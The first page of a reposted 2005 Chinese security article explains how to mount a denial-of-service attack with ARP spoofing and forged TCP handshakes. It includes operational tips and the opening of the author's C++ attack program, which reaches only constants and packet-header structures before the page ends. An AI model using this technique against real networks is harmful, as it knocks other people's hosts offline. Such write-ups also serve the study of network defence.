文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络技术网络安全基于ARP欺骗的TCP伪连接D.o.S
精品推荐
特别推荐
·无线入侵的技术细节
·SQL注入和CSS攻击的检测
·详解:五种Windows常用密码设置
·浅析黑客攻击时的常用方法和攻击步骤
·不怕攻击 家庭上网必学八招安全绝招
·入门者如何获取肉鸡
·Linux安全配置步骤简述
·Wi-Fi网络安全探讨及组网策略
·网页病毒的概念
·保障您网站安全的十点技巧
·技巧:网上交易密码保护的几种窍门
·六个简单方法防止上网被钓鱼
·PING命令的小秘密
·安全第一 网络端口扫描技术介绍
·十大网络工具帮你审核网络安全
·信息安全问题需解决方案
·多角度详细解释网站安全保护方法
·端口截听实现端口隐藏,嗅叹与攻击
·用Win NT/2K 建WEB站点安全指南
·实现 Web 应用程序安全的捷径
热点TOP10
·解析远程控制带来的安全危险
·不怕攻击 家庭上网必学八招安全绝招
·内网数据库服务器入侵实战
·MD5 Password Cracker 一个国外的md5爆破工具(速度极快)
·安全漏洞的起因:ActiveX技术安全报告
·黑客攻击步骤-如何获得IP
·认识映象劫持技术原理与解决办法
·保障您网站安全的十点技巧
·交换环境下SNIFFER的攻击技术手段
·防范于未然 2008五大企业安全问题预测
·假冒腾讯qq网络骗子欺诈骗术大曝光
·企业安全 减少内部安全风险的10种方法
·让尘封的DOS机莺歌燕舞欢喜过大年
·确保数据中心虚拟化安全10个步骤
·2007年12月十大网络安全漏洞综述
·大网站是保障网络安全的技巧
·检查并堵住网站的eWebEditor漏洞
·面临什么新威胁 PC安全终极指南
·深入理解防火墙 屏蔽外界攻击
·预防网络病毒的几个忠告

基于ARP欺骗的TCP伪连接D.o.S

日期:2005年10月31日 作者: 查看:[大字体 中字体 小字体]


从某种意义上说,如果能够制造TCP伪连接,那么D.o.S也就比较容易实现了。以前LionD8就曾经用这个思路做出了一个新型D.o.S,而今天,我用的也是这个思路。但是,如果直接伪造TCP三次握手而不作其他任何处理,那却是不行的。因为,当攻击的目标主机接收到我们发过去的伪造的SYN包后会发回一个SYN+ACK包(也就是第二次握手)。而当我们的系统收到这个SYN+ACK包后,由于系统内并没有发起真正的 TCP连接,因此系统会发回一个RST包,这个包将使目标主机重置连接。这样,这个伪连接就建立失败了。

要解决这个问题,办法有不少,而我这里要用的方法就是ARP欺骗。首先,我们要对目标主机进行ARP欺骗,让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起TCP伪连接了。这样一来,即使目标主机返回一个SYN+ACK包,这个包也不会进入到我们的系统(因为这个包的目的IP不会是我们而应该是我们伪装的那台主机的IP),这样,我们的系统也不会向目标主机发送RST包了。

打个比方,假设我们是主机A,现在我想要攻击主机B。首先,我先伪装主机C对B进行ARP欺骗(以C的IP地址和A的MAC地址构造ARP应答包发送到B),这样,B的ARP缓存中就会记录下C的IP对应A的MAC地址。然后,我们再以C的IP为源IP构造SYN数据包,向B发起TCP伪连接。当 B收到这个SYN包之后,它会构造一个SYN+ACK包发往C。但是,由于此时在B的ARP缓存中记录着:C的IP对应A的MAC地址,因此,这个SYN +ACK包实际上被发送到了A。虽然,这个包将被A的系统所丢弃(因为这个包的目的IP是C的IP而不是A的IP,所以A的系统将会丢弃这个包),但是,我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个SYN+ACK包之后,我们需要再次伪装C向B发回一个ACK包完成第三次握手。这样,TCP 初始化连接的三次握手都完成了,我们的伪连接也成功建立了!

伪连接建立之后,我们还可以继续向目标主机发送数据,来保证TCP连接的存活。

这里,有几个需要注意的问题:首先,为了保证攻击过程中目标主机的ARP缓存不被更改,我们需要持续不断的对其进行ARP欺骗;第二,为了防止在攻击过程中我们伪装的主机向目标主机发起通信,刷新目标主机的ARP缓存,对我们的攻击造成影响,我们还可以对伪装主机也同时进行ARP欺骗,以增加攻击成功的几率。

好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。


// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.

//


#include "stdafx.h"

#include "winsock2.h"

#include "Packet32.h"

#include "stdio.h"


#pragma comment(lib, "packet")

#pragma comment(lib, "ws2_32")


//下面几个宏是测试用的主机的IP和MAC

#define SIMULATE_MAC "0011111d735a" //伪装主机的MAC地址

#define TARGET_MAC "001111c6f7fe" //目的主机的MAC地址

#define LOCAL_MAC "00e06e41508f" //本机MAC地址

#define TARGET_IP "211.83.97.24" //目的主机的IP

#define SIMULATE_IP "211.83.97.16" //伪装主机的IP


#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式


#pragma pack(push, 1)


struct ET_HEADER //以太网头部

{

unsigned char eh_dst[6];

unsigned char eh_src[6];

unsigned short eh_type;

};


struct ARP_HEADER //ARP头部

{

unsigned short arp_hdr;

unsigned short arp_pro;

unsigned char arp_hln;

unsigned char arp_pln;

unsigned short arp_opt;

unsigned char arp_sha[6];

unsigned long arp_spa;

unsigned char arp_tha[6];

unsigned long arp_tpa;

};


struct IP_HEADER //IP头部

{

char m_ver_hlen; //4位版本号,4位ip头部长

char m_tos;

USHORT m_tlen;

USHORT m_ident;

[1] [2] [3] [4] [5] [6] [7] [8] 下一页 




上一篇:在网络钓鱼攻击的幕后

下一篇:操作电脑最忌的十八个小动作

基于ARP欺骗的TCP伪连接D.o.S 相关文章:
·QQ聊天记录偷窥和QQ视频欺骗
·欺骗你眼睛和大脑的神奇图片
·基于SIP的视频会议系统研究
·局域网连接设备--局域网知识
·如何在Windows Me下设置Internet连接共享
·解决无线网络连接故障的12个方法
·路由器下怎么用交换机连接几台电脑上网?
·全面图解路由器接口及连接(图)(2)
·全面了解“基于139端口”的攻击与防范
·机箱前置音频接线正确连接方法
基于ARP欺骗的TCP伪连接D.o.S 相关软件:
·Vista 远程桌面连接 V6.0 绿色版
·基于ASP的网上考试系统
·星际争霸(StarCraft)V1.08b版 连接官方战网补丁
·基于CMM的有效过程改进
·电路连接
·CISCO路由器基于时间的访问列表的应用
·使命的召唤(CALL OF DUTY)V1.4版升级档真正破解版及免CD补丁及服务器连接补丁
·基于CORBA的电子商务系统的安全性
·基于pdf文档的网络学习资源建设
·基于WWW的协同式CAI软件的Java实现

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.vipcn.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.vipcn.com All Rights Reserved. 鄂ICP备05000083号Powered by:vipcn